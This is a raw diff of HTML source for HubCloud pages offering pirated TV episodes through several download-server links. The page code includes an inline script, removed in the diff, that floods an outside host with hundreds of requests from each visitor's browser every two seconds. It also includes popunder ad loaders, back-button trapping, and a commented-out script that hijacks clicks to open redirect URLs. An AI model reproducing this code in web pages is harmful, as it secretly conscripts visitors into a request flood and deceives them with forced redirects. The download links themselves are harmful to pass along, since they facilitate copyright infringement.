||||||
|
|
@ -303,16 +315,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
Msc
|
Msc
|
||||||
|
|
||||||
|
<video autoplay muted playsinline preload="metadata" hidden>
|
||||||
|
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||||
|
|
||||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
<!--2dl-->
|
<!--2dl-->
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||||
</body>
|
</body>
|
||||||
</html><script>
|
</html><script>
|
||||||
window.sessionStorage.setItem('xl',window.location.href)
|
window.sessionStorage.setItem('xl',window.location.href)
|
||||||
|
|
@ -322,25 +340,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
||||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<script>
|
|
||||||
function x(){
|
|
||||||
for (let i = 0; i < 369; i++) {
|
|
||||||
|
|
||||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
|
||||||
"method": "GET",
|
|
||||||
"mode": "no-cors",
|
|
||||||
"referrerPolicy": 'no-referrer',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
x();
|
|
||||||
const intervalId = setInterval(() => {
|
|
||||||
x();
|
|
||||||
}, 2000)
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||||
<!--</script>-->
|
<!--</script>-->
|
||||||
|
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||||
|
|
||||||
|
|
@ -1,4 +1,11 @@
|
||||||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10553222',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||||
<script>
|
<script>
|
||||||
document.addEventListener("DOMContentLoaded", function() {
|
document.addEventListener("DOMContentLoaded", function() {
|
||||||
history.pushState(null, null, location.href);
|
history.pushState(null, null, location.href);
|
||||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
<head>
|
<head>
|
||||||
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<div class="container">
|
||||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<p class="h3 text-success">Download Link Generated</p>
|
<p class="h3 text-success">Download Link Generated</p>
|
||||||
<div class="input-group mb-3">
|
<div class="input-group mb-3">
|
||||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/idt1evqfuviqiei" readonly="" id="ilink">
|
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/idt1evqfuviqiei" readonly="" id="ilink">
|
||||||
<div class="input-group-prepend">
|
<div class="input-group-prepend">
|
||||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<div class="ad-container"></div>
|
<div class="ad-container"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -185,15 +190,21 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
|
||||||
<a href="https://pixeldrain.net/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
|
||||||
|
<a href="https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('fsl');
|
||||||
|
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://pixel.hubcdn.fans/?id=529bf8a6089bbb95b78cf3cb1a6dc59fde5263bbdd021523a5c82feda0ba8ef5389cbaadec1f544a0af5c8005cc1f08d3c9d657117ec665281ccfab07cf57f480c0b88000cc87df9ace68870041479b5bbe24ca974e726fa3609bd53e21ad504::31791b788bbe5b7e5a8467880d69cece" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
<a href="https://pixel.hubcdn.fans/?id=fb8c076011baaf9fd0cd6d349d86da6d8bf9c1a241cdcfb8ec27e07979b905608e125fadd030f801fa79752521d434885fe414c584c60919d282af9562b752b7fbaaad7784bd8251ce8eb1f5dacaf711bee65758b9f7fb78c4935b0b08afde16::837d46bfad85ed4f96ad7d9246ba302e" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||||
|
|
||||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||||
|
|
@ -204,19 +215,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<iframe src="https://pixeldrain.dev/u/HqAiguQV?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
<a href="https://pixeldrain.dev/u/HqAiguQV" download="Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||||
<script>
|
|
||||||
const fsl = document.getElementById('fsl');
|
|
||||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
|
||||||
</script>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://ddl2.cloudserver-1692954790.workers.dev/1397313204/f21e7028ea6a932d9591378bbac598891ca0fab13e210fef8c6be7d9b7b22c9f48fd9d22719a71a55e7280ac8dbe7f01fd57386fac993fe3bdf66772dc1e08e69792acbd18c323b87a7fbc0f4eec7862f1d793c3c20c36082861091c8236b110cf3c186c55945950681e369e305675b442a8df092f83e9483dd1cbfff5271db3b77fbec42689825baf890da2186efa9806c9c69f850a0ef850c159152151ecb6617bf57be248b1d023b493ea2b9d80161d45732806cae4a7a6e9da9bdd2a3279::ea94114583b705a605ed9e55dc452914/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
|
||||||
<p style="
|
|
||||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -240,7 +248,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
if(isAndroid()){
|
if(isAndroid()){
|
||||||
android_launch.classList.remove("d-none");
|
android_launch.classList.remove("d-none");
|
||||||
android_launch.addEventListener('click', ()=>{
|
android_launch.addEventListener('click', ()=>{
|
||||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505',scheme: 'https',type: 'video/x-matrosk',
|
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-b5ecaffddf2344a0ae2222f5e8913e1b.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||||
});anchor.click();
|
});anchor.click();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -277,7 +285,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
|
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
<script>
|
<script>
|
||||||
|
|
@ -306,16 +314,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
||||||
<br><br>
|
<br><br>
|
||||||
</div>
|
</div>
|
||||||
Msc
|
Msc
|
||||||
|
|
||||||
|
<video autoplay muted playsinline preload="metadata" hidden>
|
||||||
|
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||||
|
|
||||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
<!--2dl-->
|
<!--2dl-->
|
||||||
|
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
|
|
||||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||||
</body>
|
</body>
|
||||||
</html><script>
|
</html><script>
|
||||||
window.sessionStorage.setItem('xl',window.location.href)
|
window.sessionStorage.setItem('xl',window.location.href)
|
||||||
|
|
@ -325,25 +339,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
||||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<script>
|
|
||||||
function x(){
|
|
||||||
for (let i = 0; i < 369; i++) {
|
|
||||||
|
|
||||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
|
||||||
"method": "GET",
|
|
||||||
"mode": "no-cors",
|
|
||||||
"referrerPolicy": 'no-referrer',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
x();
|
|
||||||
const intervalId = setInterval(() => {
|
|
||||||
x();
|
|
||||||
}, 2000)
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||||
|
|
||||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||||
<!--</script>-->
|
<!--</script>-->
|
||||||
|
|
||||||
|
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||||
|
|
||||||
|
|
@ -1,4 +1,11 @@
|
||||||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10553222',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||||
<script>
|
<script>
|
||||||
document.addEventListener("DOMContentLoaded", function() {
|
document.addEventListener("DOMContentLoaded", function() {
|
||||||
history.pushState(null, null, location.href);
|
history.pushState(null, null, location.href);
|
||||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
<head>
|
<head>
|
||||||
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<div class="container">
|
||||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<p class="h3 text-success">Download Link Generated</p>
|
<p class="h3 text-success">Download Link Generated</p>
|
||||||
<div class="input-group mb-3">
|
<div class="input-group mb-3">
|
||||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/nknlofk8snfnknh" readonly="" id="ilink">
|
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/nknlofk8snfnknh" readonly="" id="ilink">
|
||||||
<div class="input-group-prepend">
|
<div class="input-group-prepend">
|
||||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<div class="ad-container"></div>
|
<div class="ad-container"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -185,15 +190,21 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
|
||||||
<a href="https://pixeldrain.dev/api/file/2kFQBQio?download" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
|
||||||
|
<a href="https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('fsl');
|
||||||
|
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
